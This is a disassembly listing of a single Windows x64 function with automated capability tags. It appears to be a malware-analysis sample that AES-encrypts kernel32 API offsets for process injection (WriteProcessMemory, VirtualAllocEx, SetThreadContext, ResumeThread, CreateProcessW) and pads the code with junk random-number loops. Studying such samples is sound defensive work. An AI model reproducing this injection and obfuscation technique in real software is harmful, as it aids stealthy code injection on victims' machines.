Function at 0x140003d90
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x3048]
mov eax, 0x3148
call fcn.140009f50
sub rsp, rax
mov rax, qword [0x140011040]
xor rax, rsp
mov qword [rbp + 0x3010], rax
mov qword [rsp + 0x60], r9
mov r15, rcx
mov qword [rsp + 0x68], rdx
call fcn.1400035b0
mov r8d, 0x208
lea rdx, [rbp + 0x1bf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140003def
mov eax, 0xfffffffe
jmp 0x140005583
lea rcx, str.kernel32.dll
mov qword [rsp + 0x3140], rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x58], rax
mov rsi, rax
test rax, rax
jne 0x140003e3e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_get_handle_to_kernel32.dll
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14000557b
mov qword [rsp + 0x3170], rbx
mov qword [rsp + 0x3138], rdi
mov qword [rsp + 0x3130], r12
mov qword [rsp + 0x3128], r13
xor r13d, r13d
mov ebx, r13d
mov qword [rsp + 0x3120], r14
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140003f23
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x78], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000007
jge 0x140003eb2
dec eax
or eax, 0xfffffff8
inc eax
mov edx, dword [rsp + 0x78]
mov ecx, eax
mov eax, dword [rsp + 0x78]
shl edx, cl
xor eax, edx
mov dword [rsp + 0x50], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000007
jge 0x140003ed8
dec eax
or eax, 0xfffffff8
inc eax
mov edx, dword [rsp + 0x50]
mov ecx, eax
mov eax, dword [rsp + 0x50]
inc ebx
sar edx, cl
xor eax, edx
mov dword [rsp + 0x50], eax
mov ecx, dword [rsp + 0x50]
mov eax, dword [rsp + 0x78]
imul ecx, eax
mov dword [rsp + 0x7c], ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp ebx, edi
jl 0x140003e94
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x18a0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x1890]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
lea rdx, str.WriteProcessMemory
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140013178]
mov r14, rax
mov qword [rbp - 0x40], rcx
mov ecx, 0x100
call fcn.140009288
mov ecx, 0x100
mov rdi, rax
call fcn.140009288
mov rsi, rax
mov dword [rbp - 0x80], r13d
mov dword [rbp - 0x7c], r13d
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x1ab0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x18e0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
lea r9, str.ZwResumeThread
mov dword [rsp + 0x20], 0xf
lea r8, [rbp - 0x80]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
movsxd rdx, dword [rbp - 0x80]
lea r8, [rbp + 0x4a0]
add rdx, rdi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov eax, dword [rbp + 0x4a0]
add dword [rbp - 0x80], eax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
lea r9, [rbp - 0x40]
mov dword [rsp + 0x20], 8
lea r8, [rbp - 0x7c]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
movsxd rdx, dword [rbp - 0x7c]
lea r8, [rbp + 0x4a0]
add rdx, rsi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov eax, dword [rbp + 0x4a0]
add dword [rbp - 0x7c], eax
mov dword [rbp - 0x74], r13d
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
mov eax, dword [rbp - 0x80]
lea r8, [rbp - 0x74]
mov r9, rdi
mov dword [rsp + 0x20], eax
lea rdx, [rbp + 0x1af0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd rax, dword [rbp - 0x74]
lea rdx, [rbp + 0x1af0]
add rdx, rax
lea r8, [rbp + 0x4a0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov eax, dword [rbp + 0x4a0]
add dword [rbp - 0x74], eax
mov qword [rbp - 0x68], r13
mov dword [rbp - 0x78], r13d
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
mov eax, dword [rbp - 0x7c]
lea r8, [rbp - 0x78]
mov r9, rsi
mov dword [rsp + 0x20], eax
lea rdx, [rbp - 0x68]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd rax, dword [rbp - 0x78]
lea rdx, [rbp - 0x68]
add rdx, rax
lea r8, [rbp + 0x4a0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov eax, dword [rbp + 0x4a0]
add dword [rbp - 0x78], eax
mov rax, qword [rbp - 0x68]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, qword [rsp + 0x58]
mov esi, r13d
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub r14, rcx
sub rax, rcx
mov dword [rsp + 0x7c], r13d
mov qword [rbp + 0x4c0], rax
mov r12d, r13d
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
sub rax, rcx
mov dword [rsp + 0x50], r13d
mov qword [rbp + 0x4e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
sub rax, rcx
mov qword [rbp + 0x4c8], r14
mov qword [rbp + 0x4f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
sub rax, rcx
mov qword [rbp + 0x4a8], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140004237
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400042f3
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140004289
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400042ea
lea r9, [rbp + 0x4c0]
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x78]
mov rcx, rdi
lea rdx, [rbp + 0x18f0]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400042bb
lea rdx, str.Failed_to_encrypt_data
jmp 0x14000426b
movsxd rsi, dword [rsp + 0x78]
lea rdx, [rbp + 0x18f0]
add rdx, rsi
lea r8, [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400042e6
lea rdx, str.Failed_to_finalize_encryption
jmp 0x14000426b
add esi, dword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140004329
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400043e6
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x14000437b
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400043dd
lea r9, [rbp + 0x4c8]
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x78]
mov rcx, rdi
lea rdx, [rbp + 0x1930]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400043ad
lea rdx, str.Failed_to_encrypt_data
jmp 0x14000435d
movsxd r12, dword [rsp + 0x78]
lea rdx, [rbp + 0x1930]
add rdx, r12
lea r8, [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400043d8
lea rdx, str.Failed_to_finalize_encryption
jmp 0x14000435d
add r12d, dword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x14000441c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400044d9
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x14000446e
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400044d0
lea r9, [rbp + 0x4e8]
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x78]
mov rcx, rdi
lea rdx, [rbp + 0x1a70]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400044a0
lea rdx, str.Failed_to_encrypt_data
jmp 0x140004450
movsxd r13, dword [rsp + 0x78]
lea rdx, [rbp + 0x1a70]
add rdx, r13
lea r8, [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400044cb
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140004450
add r13d, dword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x14000450f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400045d3
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140004561
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400045ca
lea r9, [rbp + 0x4f0]
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x78]
mov rcx, rdi
lea rdx, [rbp + 0x1970]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x140004593
lea rdx, str.Failed_to_encrypt_data
jmp 0x140004543
movsxd rbx, dword [rsp + 0x78]
lea rdx, [rbp + 0x1970]
add rdx, rbx
mov dword [rsp + 0x7c], ebx
lea r8, [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400045c2
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140004543
add ebx, dword [rsp + 0x78]
mov dword [rsp + 0x7c], ebx
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x14000460e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r14d, dword [rsp + 0x50]
jmp 0x1400046f8
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140004671
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov r14d, dword [rsp + 0x50]
jmp 0x1400046f8
lea r9, [rbp + 0x4a8]
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x78]
mov rcx, rdi
lea rdx, [rbp + 0x19b0]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400046a3
lea rdx, str.Failed_to_encrypt_data
jmp 0x140004642
movsxd r14, dword [rsp + 0x78]
lea rdx, [rbp + 0x19b0]
add rdx, r14
lea r8, [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400046ea
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_finalize_encryption
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400046ef
add r14d, dword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
xor ebx, ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140004786
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x78], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
inc ebx
mov eax, 0x51eb851f
imul edi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub edi, ecx
mov ecx, dword [rsp + 0x78]
add ecx, edi
mov dword [rsp + 0x50], ecx
mov ecx, dword [rsp + 0x50]
mov eax, dword [rsp + 0x78]
sub ecx, eax
mov dword [rsp + 0x78], ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp ebx, edi
jl 0x140004720
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x1400047bc
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140004868
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x1400047f2
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140004843
lea r9, [rbp + 0x18f0]
mov dword [rsp + 0x20], esi
lea r8, [rsp + 0x78]
mov rcx, rdi
lea rdx, [rbp - 0x38]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x14000481d
lea rdx, str.Failed_to_decrypt_data
jmp 0x140004843
movsxd rax, dword [rsp + 0x78]
lea rdx, [rbp - 0x38]
add rdx, rax
lea r8, [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x14000485f
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006c60
lea rdx, [0x140006e40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x14000489e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000494b
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x1400048d4
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140004926
lea r9, [rbp + 0x1930]
mov dword [rsp + 0x20], r12d
lea r8, [rsp + 0x78]
mov rcx, rdi
lea rdx, [rbp - 0x60]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140004900
lea rdx, str.Failed_to_decrypt_data
jmp 0x140004926
movsxd rax, dword [rsp + 0x78]
lea rdx, [rbp - 0x60]
add rdx, rax
lea r8, [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140004942
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006c60
lea rdx, [0x140006e40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140004981
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140004a34
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x1400049b7
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140004a0f
lea r9, [rbp + 0x1a70]
mov dword [rsp + 0x20], r13d
lea r8, [rsp + 0x78]
mov rcx, rdi
lea rdx, [rbp + 0x4b0]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x1400049e6
lea rdx, str.Failed_to_decrypt_data
jmp 0x140004a0f
movsxd rax, dword [rsp + 0x78]
lea rdx, [rbp + 0x4b0]
add rdx, rax
lea r8, [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140004a2b
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006c60
lea rdx, [0x140006e40]
mov rcx, rax
